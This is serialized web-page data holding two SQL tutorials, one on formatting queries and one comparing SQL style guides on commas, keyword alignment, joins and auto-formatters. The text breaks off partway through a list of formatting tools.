problems",[2043,192791,5093],{},{"title":141,"searchDepth":337,"depth":337,"links":192793},[192794,192795,192799,192804,192809,192815,192816,192817],{"id":192078,"depth":337,"text":192079},{"id":177618,"depth":337,"text":177619,"children":192796},[192797,192798],{"id":177622,"depth":343,"text":177623},{"id":177688,"depth":343,"text":177689},{"id":192280,"depth":337,"text":192281,"children":192800},[192801,192802,192803],{"id":192287,"depth":343,"text":192288},{"id":192316,"depth":343,"text":192317},{"id":192365,"depth":343,"text":192366},{"id":192410,"depth":337,"text":192411,"children":192805},[192806,192807,192808],{"id":192414,"depth":343,"text":192415},{"id":192476,"depth":343,"text":192477},{"id":192504,"depth":343,"text":192505},{"id":192531,"depth":337,"text":192532,"children":192810},[192811,192812,192813,192814],{"id":192538,"depth":343,"text":192539},{"id":192593,"depth":343,"text":192594},{"id":192640,"depth":343,"text":192641},{"id":192689,"depth":343,"text":192690},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},{"id":320,"depth":337,"text":321},"Adopt professional SQL coding standards used by top engineering teams. Covers naming conventions, alias rules, comments, and cross-dialect differences.",{"immutable":363,"keywords":192820},[178241,192821],"sql-best-practices",{"title":192073,"description":192818},"guides\u002Fsql-best-practices","g00xQXTeG3nq7csHCM0NnEqq1LZcYvkdy7WMVNIlXwQ",{"id":192826,"title":192781,"body":192827,"date":2070,"description":193536,"extension":361,"meta":193537,"navigation":363,"path":178208,"readingTime":1710,"seo":193540,"stem":193541,"__hash__":193542},"guides\u002Fguides\u002Fsql-formatting-guide.md",{"type":8,"value":192828,"toc":193517},[192829,192833,192836,192839,192843,192846,192850,192853,192895,192898,192902,192905,192965,192968,192972,192975,193043,193046,193050,193053,193056,193090,193093,193097,193100,193139,193142,193145,193148,193182,193185,193189,193192,193231,193235,193238,193247,193250,193316,193319,193323,193326,193399,193402,193474,193476,193493,193495,193501,193503,193515],[11,192830,192832],{"id":192831},"why-sql-formatting-matters","Why SQL Formatting Matters",[16,192834,192835],{},"Poorly formatted SQL is hard to read, harder to debug, and nearly impossible for teammates to review. A single-line query with five JOINs stuffed together wastes time every time someone opens it.",[16,192837,192838],{},"Consistent formatting solves this. When every query follows the same structure, your team can scan, understand, and modify code faster. Formatting also catches mistakes — misaligned clauses and missing conditions stand out when your SQL follows a predictable pattern.",[11,192840,192842],{"id":192841},"core-formatting-principles","Core Formatting Principles",[16,192844,192845],{},"Three rules form the foundation of readable SQL.",[33,192847,192849],{"id":192848},"capitalize-keywords","Capitalize Keywords",[16,192851,192852],{},"Write SQL keywords in uppercase. This separates language structure from your data immediately.",[135,192854,192856],{"className":23599,"code":192855,"language":23601,"meta":141,"style":141},"-- Hard to scan\nselect name, email from users where active = true order by name;\n\n-- Easy to scan\nSELECT name, email\nFROM users\nWHERE active = true\nORDER BY name;\n",[143,192857,192858,192862,192867,192871,192875,192880,192885,192890],{"__ignoreMap":141},[1560,192859,192860],{"class":1562,"line":1563},[1560,192861,177973],{},[1560,192863,192864],{"class":1562,"line":337},[1560,192865,192866],{},"select name, email from users where active = true order by name;\n",[1560,192868,192869],{"class":1562,"line":343},[1560,192870,1702],{"emptyLinePlaceholder":363},[1560,192872,192873],{"class":1562,"line":365},[1560,192874,177987],{},[1560,192876,192877],{"class":1562,"line":889},[1560,192878,192879],{},"SELECT name, email\n",[1560,192881,192882],{"class":1562,"line":1710},[1560,192883,192884],{},"FROM users\n",[1560,192886,192887],{"class":1562,"line":1717},[1560,192888,192889],{},"WHERE active = true\n",[1560,192891,192892],{"class":1562,"line":1747},[1560,192893,192894],{},"ORDER BY name;\n",[16,192896,192897],{},"Your eye jumps straight to the keywords. This matters most in long queries where SELECT, FROM, and WHERE might be hundreds of lines apart.",[33,192899,192901],{"id":192900},"indent-and-align","Indent and Align",[16,192903,192904],{},"Place each major clause on its own line. Indent subordinate content two or four spaces beneath its parent clause.",[135,192906,192908],{"className":23599,"code":192907,"language":23601,"meta":141,"style":141},"SELECT\n    u.id,\n    u.name,\n    u.email,\n    d.department_name\nFROM users u\nJOIN departments d\n    ON u.department_id = d.id\nWHERE u.active = true\n    AND u.hire_date > '2024-01-01'\nORDER BY u.name;\n",[143,192909,192910,192915,192920,192925,192930,192935,192940,192945,192950,192955,192960],{"__ignoreMap":141},[1560,192911,192912],{"class":1562,"line":1563},[1560,192913,192914],{},"SELECT\n",[1560,192916,192917],{"class":1562,"line":337},[1560,192918,192919],{},"    u.id,\n",[1560,192921,192922],{"class":1562,"line":343},[1560,192923,192924],{},"    u.name,\n",[1560,192926,192927],{"class":1562,"line":365},[1560,192928,192929],{},"    u.email,\n",[1560,192931,192932],{"class":1562,"line":889},[1560,192933,192934],{},"    d.department_name\n",[1560,192936,192937],{"class":1562,"line":1710},[1560,192938,192939],{},"FROM users u\n",[1560,192941,192942],{"class":1562,"line":1717},[1560,192943,192944],{},"JOIN departments d\n",[1560,192946,192947],{"class":1562,"line":1747},[1560,192948,192949],{},"    ON u.department_id = d.id\n",[1560,192951,192952],{"class":1562,"line":2507},[1560,192953,192954],{},"WHERE u.active = true\n",[1560,192956,192957],{"class":1562,"line":2524},[1560,192958,192959],{},"    AND u.hire_date > '2024-01-01'\n",[1560,192961,192962],{"class":1562,"line":2529},[1560,192963,192964],{},"ORDER BY u.name;\n",[16,192966,192967],{},"The ON condition sits beneath its JOIN. The AND aligns under WHERE. This visual hierarchy maps directly to the query's logic.",[33,192969,192971],{"id":192970},"use-line-breaks-for-long-lists","Use Line Breaks for Long Lists",[16,192973,192974],{},"When a SELECT or IN clause contains many items, stack them vertically.",[135,192976,192978],{"className":23599,"code":192977,"language":23601,"meta":141,"style":141},"SELECT\n    product_id,\n    product_name,\n    category,\n    price,\n    stock_quantity,\n    reorder_level\nFROM products\nWHERE category IN (\n    'Electronics',\n    'Office Supplies',\n    'Software'\n);\n",[143,192979,192980,192984,192989,192994,192999,193004,193009,193014,193019,193024,193029,193034,193039],{"__ignoreMap":141},[1560,192981,192982],{"class":1562,"line":1563},[1560,192983,192914],{},[1560,192985,192986],{"class":1562,"line":337},[1560,192987,192988],{},"    product_id,\n",[1560,192990,192991],{"class":1562,"line":343},[1560,192992,192993],{},"    product_name,\n",[1560,192995,192996],{"class":1562,"line":365},[1560,192997,192998],{},"    category,\n",[1560,193000,193001],{"class":1562,"line":889},[1560,193002,193003],{},"    price,\n",[1560,193005,193006],{"class":1562,"line":1710},[1560,193007,193008],{},"    stock_quantity,\n",[1560,193010,193011],{"class":1562,"line":1717},[1560,193012,193013],{},"    reorder_level\n",[1560,193015,193016],{"class":1562,"line":1747},[1560,193017,193018],{},"FROM products\n",[1560,193020,193021],{"class":1562,"line":2507},[1560,193022,193023],{},"WHERE category IN (\n",[1560,193025,193026],{"class":1562,"line":2524},[1560,193027,193028],{},"    'Electronics',\n",[1560,193030,193031],{"class":1562,"line":2529},[1560,193032,193033],{},"    'Office Supplies',\n",[1560,193035,193036],{"class":1562,"line":2534},[1560,193037,193038],{},"    'Software'\n",[1560,193040,193041],{"class":1562,"line":2542},[1560,193042,1744],{},[16,193044,193045],{},"Vertical lists make it easy to spot missing items or spot duplicates. They also produce cleaner diffs in version control — adding one column changes one line, not a wrapped paragraph.",[11,193047,193049],{"id":193048},"formatting-each-clause","Formatting Each Clause",[33,193051,108286],{"id":193052},"select",[16,193054,193055],{},"Place each column on its own line when the list exceeds three items. Put a trailing comma after every column except the last.",[135,193057,193059],{"className":23599,"code":193058,"language":23601,"meta":141,"style":141},"SELECT\n    order_id,\n    customer_id,\n    order_date,\n    total_amount,\n    status,\n",[143,193060,193061,193065,193070,193075,193080,193085],{"__ignoreMap":141},[1560,193062,193063],{"class":1562,"line":1563},[1560,193064,192914],{},[1560,193066,193067],{"class":1562,"line":337},[1560,193068,193069],{},"    order_id,\n",[1560,193071,193072],{"class":1562,"line":343},[1560,193073,193074],{},"    customer_id,\n",[1560,193076,193077],{"class":1562,"line":365},[1560,193078,193079],{},"    order_date,\n",[1560,193081,193082],{"class":1562,"line":889},[1560,193083,193084],{},"    total_amount,\n",[1560,193086,193087],{"class":1562,"line":1710},[1560,193088,193089],{},"    status,\n",[16,193091,193092],{},"This trailing comma style prevents errors when you add or remove columns — no need to fix the last line.",[33,193094,193096],{"id":193095},"from-and-join","FROM and JOIN",[16,193098,193099],{},"Start each JOIN on a new line. Keep the join type, table, and condition visible at a glance.",[135,193101,193103],{"className":23599,"code":193102,"language":23601,"meta":141,"style":141},"FROM orders o\nJOIN customers c\n    ON o.customer_id = c.id\nLEFT JOIN shipping s\n    ON o.shipping_id = s.id\nLEFT JOIN invoices i\n    ON o.invoice_id = i.id\n",[143,193104,193105,193109,193114,193119,193124,193129,193134],{"__ignoreMap":141},[1560,193106,193107],{"class":1562,"line":1563},[1560,193108,192213],{},[1560,193110,193111],{"class":1562,"line":337},[1560,193112,193113],{},"JOIN customers c\n",[1560,193115,193116],{"class":1562,"line":343},[1560,193117,193118],{},"    ON o.customer_id = c.id\n",[1560,193120,193121],{"class":1562,"line":365},[1560,193122,193123],{},"LEFT JOIN shipping s\n",[1560,193125,193126],{"class":1562,"line":889},[1560,193127,193128],{},"    ON o.shipping_id = s.id\n",[1560,193130,193131],{"class":1562,"line":1710},[1560,193132,193133],{},"LEFT JOIN invoices i\n",[1560,193135,193136],{"class":1562,"line":1717},[1560,193137,193138],{},"    ON o.invoice_id = i.id\n",[16,193140,193141],{},"For multi-table queries, list tables in logical order — starting with the primary table, then joining dependent tables outward.",[33,193143,108292],{"id":193144},"where",[16,193146,193147],{},"Align conditions under WHERE. Group related conditions together.",[135,193149,193151],{"className":23599,"code":193150,"language":23601,"meta":141,"style":141},"WHERE o.status = 'shipped'\n    AND o.order_date >= '2024-01-01'\n    AND (\n        c.country = 'US'\n        OR c.country = 'CA'\n    )\n",[143,193152,193153,193158,193163,193168,193173,193178],{"__ignoreMap":141},[1560,193154,193155],{"class":1562,"line":1563},[1560,193156,193157],{},"WHERE o.status = 'shipped'\n",[1560,193159,193160],{"class":1562,"line":337},[1560,193161,193162],{},"    AND o.order_date >= '2024-01-01'\n",[1560,193164,193165],{"class":1562,"line":343},[1560,193166,193167],{},"    AND (\n",[1560,193169,193170],{"class":1562,"line":365},[1560,193171,193172],{},"        c.country = 'US'\n",[1560,193174,193175],{"class":1562,"line":889},[1560,193176,193177],{},"        OR c.country = 'CA'\n",[1560,193179,193180],{"class":1562,"line":1710},[1560,193181,39137],{},[16,193183,193184],{},"Put the most selective condition first. This helps human readers quickly understand the query's scope, and some database optimizers evaluate conditions in written order for early filtering.",[33,193186,193188],{"id":193187},"group-by-and-order-by","GROUP BY and ORDER BY",[16,193190,193191],{},"Mirror the indentation style of SELECT. Align aggregate functions and sort directions.",[135,193193,193195],{"className":23599,"code":193194,"language":23601,"meta":141,"style":141},"GROUP BY\n    c.country,\n    c.region\n\nORDER BY\n    total_revenue DESC,\n    c.country ASC\n",[143,193196,193197,193202,193207,193212,193216,193221,193226],{"__ignoreMap":141},[1560,193198,193199],{"class":1562,"line":1563},[1560,193200,193201],{},"GROUP BY\n",[1560,193203,193204],{"class":1562,"line":337},[1560,193205,193206],{},"    c.country,\n",[1560,193208,193209],{"class":1562,"line":343},[1560,193210,193211],{},"    c.region\n",[1560,193213,193214],{"class":1562,"line":365},[1560,193215,1702],{"emptyLinePlaceholder":363},[1560,193217,193218],{"class":1562,"line":889},[1560,193219,193220],{},"ORDER BY\n",[1560,193222,193223],{"class":1562,"line":1710},[1560,193224,193225],{},"    total_revenue DESC,\n",[1560,193227,193228],{"class":1562,"line":1717},[1560,193229,193230],{},"    c.country ASC\n",[11,193232,193234],{"id":193233},"before-and-after-comparison","Before and After Comparison",[16,193236,193237],{},"Here is a real query before formatting:",[135,193239,193241],{"className":23599,"code":193240,"language":23601,"meta":141,"style":141},"select u.name,sum(p.amount) as total from users u join payments p on u.id=p.user_id where p.status='completed' and p.payment_date>='2024-01-01' group by u.name having sum(p.amount)>1000 order by total desc limit 10;\n",[143,193242,193243],{"__ignoreMap":141},[1560,193244,193245],{"class":1562,"line":1563},[1560,193246,193240],{},[16,193248,193249],{},"And after:",[135,193251,193253],{"className":23599,"code":193252,"language":23601,"meta":141,"style":141},"SELECT\n    u.name,\n    SUM(p.amount) AS total\nFROM users u\nJOIN payments p\n    ON u.id = p.user_id\nWHERE p.status = 'completed'\n    AND p.payment_date >= '2024-01-01'\nGROUP BY\n    u.name\nHAVING SUM(p.amount) > 1000\nORDER BY total DESC\nLIMIT 10;\n",[143,193254,193255,193259,193263,193268,193272,193277,193282,193287,193292,193296,193301,193306,193311],{"__ignoreMap":141},[1560,193256,193257],{"class":1562,"line":1563},[1560,193258,192914],{},[1560,193260,193261],{"class":1562,"line":337},[1560,193262,192924],{},[1560,193264,193265],{"class":1562,"line":343},[1560,193266,193267],{},"    SUM(p.amount) AS total\n",[1560,193269,193270],{"class":1562,"line":365},[1560,193271,192939],{},[1560,193273,193274],{"class":1562,"line":889},[1560,193275,193276],{},"JOIN payments p\n",[1560,193278,193279],{"class":1562,"line":1710},[1560,193280,193281],{},"    ON u.id = p.user_id\n",[1560,193283,193284],{"class":1562,"line":1717},[1560,193285,193286],{},"WHERE p.status = 'completed'\n",[1560,193288,193289],{"class":1562,"line":1747},[1560,193290,193291],{},"    AND p.payment_date >= '2024-01-01'\n",[1560,193293,193294],{"class":1562,"line":2507},[1560,193295,193201],{},[1560,193297,193298],{"class":1562,"line":2524},[1560,193299,193300],{},"    u.name\n",[1560,193302,193303],{"class":1562,"line":2529},[1560,193304,193305],{},"HAVING SUM(p.amount) > 1000\n",[1560,193307,193308],{"class":1562,"line":2534},[1560,193309,193310],{},"ORDER BY total DESC\n",[1560,193312,193313],{"class":1562,"line":2542},[1560,193314,193315],{},"LIMIT 10;\n",[16,193317,193318],{},"The formatted version takes more vertical space but communicates its logic in seconds rather than minutes.",[11,193320,193322],{"id":193321},"subquery-formatting","Subquery Formatting",[16,193324,193325],{},"Indent subqueries one level deeper than their parent clause. Give them a clear alias.",[135,193327,193329],{"className":23599,"code":193328,"language":23601,"meta":141,"style":141},"SELECT\n    department,\n    avg_salary\nFROM (\n    SELECT\n        d.name AS department,\n        AVG(e.salary) AS avg_salary\n    FROM employees e\n    JOIN departments d\n        ON e.department_id = d.id\n    GROUP BY d.name\n) AS dept_stats\nWHERE avg_salary > 75000\nORDER BY avg_salary DESC;\n",[143,193330,193331,193335,193340,193345,193349,193354,193359,193364,193369,193374,193379,193384,193389,193394],{"__ignoreMap":141},[1560,193332,193333],{"class":1562,"line":1563},[1560,193334,192914],{},[1560,193336,193337],{"class":1562,"line":337},[1560,193338,193339],{},"    department,\n",[1560,193341,193342],{"class":1562,"line":343},[1560,193343,193344],{},"    avg_salary\n",[1560,193346,193347],{"class":1562,"line":365},[1560,193348,177795],{},[1560,193350,193351],{"class":1562,"line":889},[1560,193352,193353],{},"    SELECT\n",[1560,193355,193356],{"class":1562,"line":1710},[1560,193357,193358],{},"        d.name AS department,\n",[1560,193360,193361],{"class":1562,"line":1717},[1560,193362,193363],{},"        AVG(e.salary) AS avg_salary\n",[1560,193365,193366],{"class":1562,"line":1747},[1560,193367,193368],{},"    FROM employees e\n",[1560,193370,193371],{"class":1562,"line":2507},[1560,193372,193373],{},"    JOIN departments d\n",[1560,193375,193376],{"class":1562,"line":2524},[1560,193377,193378],{},"        ON e.department_id = d.id\n",[1560,193380,193381],{"class":1562,"line":2529},[1560,193382,193383],{},"    GROUP BY d.name\n",[1560,193385,193386],{"class":1562,"line":2534},[1560,193387,193388],{},") AS dept_stats\n",[1560,193390,193391],{"class":1562,"line":2542},[1560,193392,193393],{},"WHERE avg_salary > 75000\n",[1560,193395,193396],{"class":1562,"line":2558},[1560,193397,193398],{},"ORDER BY avg_salary DESC;\n",[16,193400,193401],{},"For CTEs (Common Table Expressions), apply the same rules — readable SQL inside the CTE, readable SQL in the main query.",[135,193403,193405],{"className":23599,"code":193404,"language":23601,"meta":141,"style":141},"WITH monthly_revenue AS (\n    SELECT\n        DATE_TRUNC('month', order_date) AS month,\n        SUM(amount) AS revenue\n    FROM orders\n    WHERE status = 'completed'\n    GROUP BY DATE_TRUNC('month', order_date)\n)\nSELECT\n    month,\n    revenue,\n    LAG(revenue) OVER (ORDER BY month) AS prev_month\nFROM monthly_revenue\nORDER BY month;\n",[143,193406,193407,193412,193416,193421,193426,193431,193436,193441,193445,193449,193454,193459,193464,193469],{"__ignoreMap":141},[1560,193408,193409],{"class":1562,"line":1563},[1560,193410,193411],{},"WITH monthly_revenue AS (\n",[1560,193413,193414],{"class":1562,"line":337},[1560,193415,193353],{},[1560,193417,193418],{"class":1562,"line":343},[1560,193419,193420],{},"        DATE_TRUNC('month', order_date) AS month,\n",[1560,193422,193423],{"class":1562,"line":365},[1560,193424,193425],{},"        SUM(amount) AS revenue\n",[1560,193427,193428],{"class":1562,"line":889},[1560,193429,193430],{},"    FROM orders\n",[1560,193432,193433],{"class":1562,"line":1710},[1560,193434,193435],{},"    WHERE status = 'completed'\n",[1560,193437,193438],{"class":1562,"line":1717},[1560,193439,193440],{},"    GROUP BY DATE_TRUNC('month', order_date)\n",[1560,193442,193443],{"class":1562,"line":1747},[1560,193444,8252],{},[1560,193446,193447],{"class":1562,"line":2507},[1560,193448,192914],{},[1560,193450,193451],{"class":1562,"line":2524},[1560,193452,193453],{},"    month,\n",[1560,193455,193456],{"class":1562,"line":2529},[1560,193457,193458],{},"    revenue,\n",[1560,193460,193461],{"class":1562,"line":2534},[1560,193462,193463],{},"    LAG(revenue) OVER (ORDER BY month) AS prev_month\n",[1560,193465,193466],{"class":1562,"line":2542},[1560,193467,193468],{},"FROM monthly_revenue\n",[1560,193470,193471],{"class":1562,"line":2558},[1560,193472,193473],{},"ORDER BY month;\n",[11,193475,1355],{"id":1354},[41,193477,193478,193481,193484,193487,193490],{},[44,193479,193480],{},"Capitalize all SQL keywords to separate structure from data",[44,193482,193483],{},"Place clauses on separate lines and indent subordinate content",[44,193485,193486],{},"Stack long column lists vertically for scannability and clean diffs",[44,193488,193489],{},"Format subqueries and CTEs with the same rules as the main query",[44,193491,193492],{},"Consistent formatting catches bugs faster than any linter",[11,193494,286],{"id":285},[16,193496,193497,193498,193500],{},"Format your queries instantly with our free ",[98,193499,108693],{"href":108692},". Paste any SQL statement and get clean, consistently formatted output in one click.",[11,193502,321],{"id":320},[41,193504,193505,193510],{},[44,193506,193507,193509],{},[98,193508,192073],{"href":178215}," — coding standards and review checklists for team SQL",[44,193511,193512,193514],{},[98,193513,192788],{"href":192787}," — how formatting reveals performance issues",[2043,193516,5093],{},{"title":141,"searchDepth":337,"depth":337,"links":193518},[193519,193520,193525,193531,193532,193533,193534,193535],{"id":192831,"depth":337,"text":192832},{"id":192841,"depth":337,"text":192842,"children":193521},[193522,193523,193524],{"id":192848,"depth":343,"text":192849},{"id":192900,"depth":343,"text":192901},{"id":192970,"depth":343,"text":192971},{"id":193048,"depth":337,"text":193049,"children":193526},[193527,193528,193529,193530],{"id":193052,"depth":343,"text":108286},{"id":193095,"depth":343,"text":193096},{"id":193144,"depth":343,"text":108292},{"id":193187,"depth":343,"text":193188},{"id":193233,"depth":337,"text":193234},{"id":193321,"depth":337,"text":193322},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},{"id":320,"depth":337,"text":321},"Best practices for formatting SQL queries for better readability and team collaboration. Learn indentation, capitalization, and clause alignment rules.",{"immutable":363,"keywords":193538},[178241,193539],"sql-formatting-guide",{"title":192781,"description":193536},"guides\u002Fsql-formatting-guide","Bj9fzrInythWFXHl7J3w5pyqYNG-mrtTrLNOyRqK9_U",{"id":193544,"title":193545,"body":193546,"date":2070,"description":194120,"extension":361,"meta":194121,"navigation":363,"path":194124,"readingTime":1717,"seo":194125,"stem":194126,"__hash__":194127},"guides\u002Fguides\u002Fsql-formatting-standards-comparison.md","SQL Formatting Standards Compared: Which Style Guide Should You Follow?",{"type":8,"value":193547,"toc":194104},[193548,193552,193555,193558,193561,193565,193569,193572,193577,193609,193613,193616,193620,193639,193642,193645,193649,193665,193669,193766,193770,193773,193778,193806,193812,193840,193843,193854,193857,193868,193871,193875,193881,193901,193907,193926,193929,193933,193942,193961,193966,193984,193990,193994,193997,194022,194025,194029,194032,194035,194055,194058,194060,194080,194082,194088,194090,194102],[11,193549,193551],{"id":193550},"why-sql-formatting-standards-matter","Why SQL Formatting Standards Matter",[16,193553,193554],{},"Unformatted SQL is hard to read, hard to review, and hard to debug. A consistent formatting standard solves all three problems. But which standard should your team adopt?",[16,193556,193557],{},"Several organizations and communities have published SQL style guides. They agree on the basics — keywords uppercase, clauses on new lines — but diverge on specifics like comma placement, alias naming, and join indentation.",[16,193559,193560],{},"This guide compares the most widely referenced standards so you can make an informed choice.",[11,193562,193564],{"id":193563},"the-major-style-guides","The Major Style Guides",[33,193566,193568],{"id":193567},"sql-style-guide-by-simon-holywell","SQL Style Guide by Simon Holywell",[16,193570,193571],{},"The most popular open-source SQL style guide. It emphasizes readability and consistency with clear, opinionated rules.",[16,193573,193574],{},[47,193575,193576],{},"Key rules:",[41,193578,193579,193582,193592,193595,193598],{},[44,193580,193581],{},"Keywords in uppercase",[44,193583,193584,193585,1459,193587,1459,193589,193591],{},"Each clause (",[143,193586,108286],{},[143,193588,108289],{},[143,193590,108292],{},") on a new line",[44,193593,193594],{},"Commas at the end of lines (trailing commas)",[44,193596,193597],{},"Indentation: 2 spaces",[44,193599,193600,193601,52609,193604,88000,193606,1525],{},"Table aliases: short, meaningful (",[143,193602,193603],{},"customers",[143,193605,13943],{},[143,193607,193608],{},"t1",[33,193610,193612],{"id":193611},"mozilla-sql-style-guide","Mozilla SQL Style Guide",[16,193614,193615],{},"Mozilla's internal guide prioritizes consistency across large codebases with many contributors.",[16,193617,193618],{},[47,193619,193576],{},[41,193621,193622,193624,193627,193630,193633],{},[44,193623,193581],{},[44,193625,193626],{},"Right-align keywords to the longest keyword in the statement",[44,193628,193629],{},"Commas at the start of lines (leading commas)",[44,193631,193632],{},"Indentation: 4 spaces",[44,193634,193635,193636,193638],{},"Explicit ",[143,193637,108347],{}," for column aliases",[16,193640,193641],{},"###triSquared SQL Style",[16,193643,193644],{},"A pragmatic guide focused on reducing merge conflicts and diff noise.",[16,193646,193647],{},[47,193648,193576],{},[41,193650,193651,193654,193657,193662],{},[44,193652,193653],{},"Leading commas preferred (easier to comment out lines)",[44,193655,193656],{},"One column per line",[44,193658,193659,193661],{},[143,193660,108306],{}," conditions on their own line",[44,193663,193664],{},"Subqueries indented by one level",[11,193666,193668],{"id":193667},"key-differences-compared","Key Differences Compared",[193,193670,193671,193686],{},[196,193672,193673],{},[199,193674,193675,193677,193680,193683],{},[202,193676,52097],{},[202,193678,193679],{},"Holywell",[202,193681,193682],{},"Mozilla",[202,193684,193685],{},"triSquared",[211,193687,193688,193700,193713,193725,193738,193753],{},[199,193689,193690,193693,193695,193698],{},[216,193691,193692],{},"Comma position",[216,193694,192460],{},[216,193696,193697],{},"Leading",[216,193699,193697],{},[199,193701,193702,193705,193708,193711],{},[216,193703,193704],{},"Keyword alignment",[216,193706,193707],{},"Left",[216,193709,193710],{},"Right",[216,193712,193707],{},[199,193714,193715,193718,193721,193723],{},[216,193716,193717],{},"Indent size",[216,193719,193720],{},"2 spaces",[216,193722,192450],{},[216,193724,192450],{},[199,193726,193727,193732,193734,193736],{},[216,193728,193729,193731],{},[143,193730,108347],{}," for aliases",[216,193733,47400],{},[216,193735,47400],{},[216,193737,187685],{},[199,193739,193740,193743,193748,193751],{},[216,193741,193742],{},"Join indentation",[216,193744,193745,193746],{},"Same level as ",[143,193747,108289],{},[216,193749,193750],{},"Indented",[216,193752,193750],{},[199,193754,193755,193758,193761,193763],{},[216,193756,193757],{},"Subquery style",[216,193759,193760],{},"Indented block",[216,193762,193760],{},[216,193764,193765],{},"CTEs preferred",[11,193767,193769],{"id":193768},"the-leading-vs-trailing-comma-debate","The Leading vs Trailing Comma Debate",[16,193771,193772],{},"This is the most controversial formatting choice in SQL.",[16,193774,193775,193777],{},[47,193776,137412],{}," (Holywell style):",[135,193779,193781],{"className":23599,"code":193780,"language":23601,"meta":141,"style":141},"SELECT\n  first_name,\n  last_name,\n  email\nFROM users\n",[143,193782,193783,193787,193792,193797,193802],{"__ignoreMap":141},[1560,193784,193785],{"class":1562,"line":1563},[1560,193786,192914],{},[1560,193788,193789],{"class":1562,"line":337},[1560,193790,193791],{},"  first_name,\n",[1560,193793,193794],{"class":1562,"line":343},[1560,193795,193796],{},"  last_name,\n",[1560,193798,193799],{"class":1562,"line":365},[1560,193800,193801],{},"  email\n",[1560,193803,193804],{"class":1562,"line":889},[1560,193805,192884],{},[16,193807,193808,193811],{},[47,193809,193810],{},"Leading commas"," (Mozilla \u002F triSquared style):",[135,193813,193815],{"className":23599,"code":193814,"language":23601,"meta":141,"style":141},"SELECT\n  first_name\n  , last_name\n  , email\nFROM users\n",[143,193816,193817,193821,193826,193831,193836],{"__ignoreMap":141},[1560,193818,193819],{"class":1562,"line":1563},[1560,193820,192914],{},[1560,193822,193823],{"class":1562,"line":337},[1560,193824,193825],{},"  first_name\n",[1560,193827,193828],{"class":1562,"line":343},[1560,193829,193830],{},"  , last_name\n",[1560,193832,193833],{"class":1562,"line":365},[1560,193834,193835],{},"  , email\n",[1560,193837,193838],{"class":1562,"line":889},[1560,193839,192884],{},[16,193841,193842],{},"Arguments for leading commas:",[41,193844,193845,193848,193851],{},[44,193846,193847],{},"Easier to comment out individual lines without fixing commas",[44,193849,193850],{},"Diff-friendly — adding a column only changes one line",[44,193852,193853],{},"Missing comma errors are caught visually at the start of the line",[16,193855,193856],{},"Arguments for trailing commas:",[41,193858,193859,193862,193865],{},[44,193860,193861],{},"More natural reading flow (matches how lists work in English)",[44,193863,193864],{},"Consistent with most programming languages",[44,193866,193867],{},"Most SQL formatters default to trailing",[16,193869,193870],{},"Neither is objectively better. Pick one and enforce it consistently.",[11,193872,193874],{"id":193873},"keyword-alignment","Keyword Alignment",[16,193876,193877,193880],{},[47,193878,193879],{},"Left-aligned"," (common):",[135,193882,193884],{"className":23599,"code":193883,"language":23601,"meta":141,"style":141},"SELECT first_name,\nFROM   users\nWHERE  status = 'active'\n",[143,193885,193886,193891,193896],{"__ignoreMap":141},[1560,193887,193888],{"class":1562,"line":1563},[1560,193889,193890],{},"SELECT first_name,\n",[1560,193892,193893],{"class":1562,"line":337},[1560,193894,193895],{},"FROM   users\n",[1560,193897,193898],{"class":1562,"line":343},[1560,193899,193900],{},"WHERE  status = 'active'\n",[16,193902,193903,193906],{},[47,193904,193905],{},"Right-aligned"," (Mozilla):",[135,193908,193910],{"className":23599,"code":193909,"language":23601,"meta":141,"style":141},"SELECT first_name,\n  FROM users\n WHERE status = 'active'\n",[143,193911,193912,193916,193921],{"__ignoreMap":141},[1560,193913,193914],{"class":1562,"line":1563},[1560,193915,193890],{},[1560,193917,193918],{"class":1562,"line":337},[1560,193919,193920],{},"  FROM users\n",[1560,193922,193923],{"class":1562,"line":343},[1560,193924,193925],{}," WHERE status = 'active'\n",[16,193927,193928],{},"Right alignment makes clauses visually distinctive, especially in long queries. Left alignment is simpler and works better with auto-formatters.",[11,193930,193932],{"id":193931},"join-formatting","JOIN Formatting",[16,193934,193935,193941],{},[47,193936,193937,193938,193940],{},"Joined at ",[143,193939,108289],{}," level"," (Holywell):",[135,193943,193945],{"className":23599,"code":193944,"language":23601,"meta":141,"style":141},"SELECT u.first_name\nFROM users u\nJOIN orders o ON u.id = o.user_id\n",[143,193946,193947,193952,193956],{"__ignoreMap":141},[1560,193948,193949],{"class":1562,"line":1563},[1560,193950,193951],{},"SELECT u.first_name\n",[1560,193953,193954],{"class":1562,"line":337},[1560,193955,192939],{},[1560,193957,193958],{"class":1562,"line":343},[1560,193959,193960],{},"JOIN orders o ON u.id = o.user_id\n",[16,193962,193963,193906],{},[47,193964,193965],{},"Indented joins",[135,193967,193969],{"className":23599,"code":193968,"language":23601,"meta":141,"style":141},"SELECT u.first_name\nFROM users u\n  JOIN orders o ON u.id = o.user_id\n",[143,193970,193971,193975,193979],{"__ignoreMap":141},[1560,193972,193973],{"class":1562,"line":1563},[1560,193974,193951],{},[1560,193976,193977],{"class":1562,"line":337},[1560,193978,192939],{},[1560,193980,193981],{"class":1562,"line":343},[1560,193982,193983],{},"  JOIN orders o ON u.id = o.user_id\n",[16,193985,193986,193987,193989],{},"Indentation becomes valuable with multiple joins, making the join chain visually distinct from the base ",[143,193988,108289],{}," clause.",[11,193991,193993],{"id":193992},"choosing-a-standard-for-your-team","Choosing a Standard for Your Team",[16,193995,193996],{},"Consider these factors:",[77,193998,193999,194005,194011,194016],{},[44,194000,194001,194004],{},[47,194002,194003],{},"Team size",": Larger teams benefit from more prescriptive guides (Mozilla or Holywell)",[44,194006,194007,194010],{},[47,194008,194009],{},"Existing codebase",": Adopt whatever is closest to your current convention to minimize churn",[44,194012,194013,194015],{},[47,194014,84712],{},": Choose a guide that matches your auto-formatter's defaults — manual enforcement always fails",[44,194017,194018,194021],{},[47,194019,194020],{},"Query complexity",": Teams writing complex analytics queries benefit from indentation-heavy styles (triSquared)",[16,194023,194024],{},"The best style guide is the one your team actually follows. A mediocre standard applied consistently beats a perfect standard applied inconsistently.",[11,194026,194028],{"id":194027},"automating-formatting","Automating Formatting",[16,194030,194031],{},"Manual formatting does not scale. Use an auto-formatter and configure it to match your chosen standard.",[16,194033,194034],{},"Popular options:",[41,194036,194037,194043,194049],{},[44,194038,194039,194042],{},[47,194040,194041],{},"sqlfmt"," — opinionated formatter inspired by Black (Python)",[44,194044,194045,194048],{},[47,194046,194047],{},"SQLFormatter"," (VS Code extension) — configurable formatting 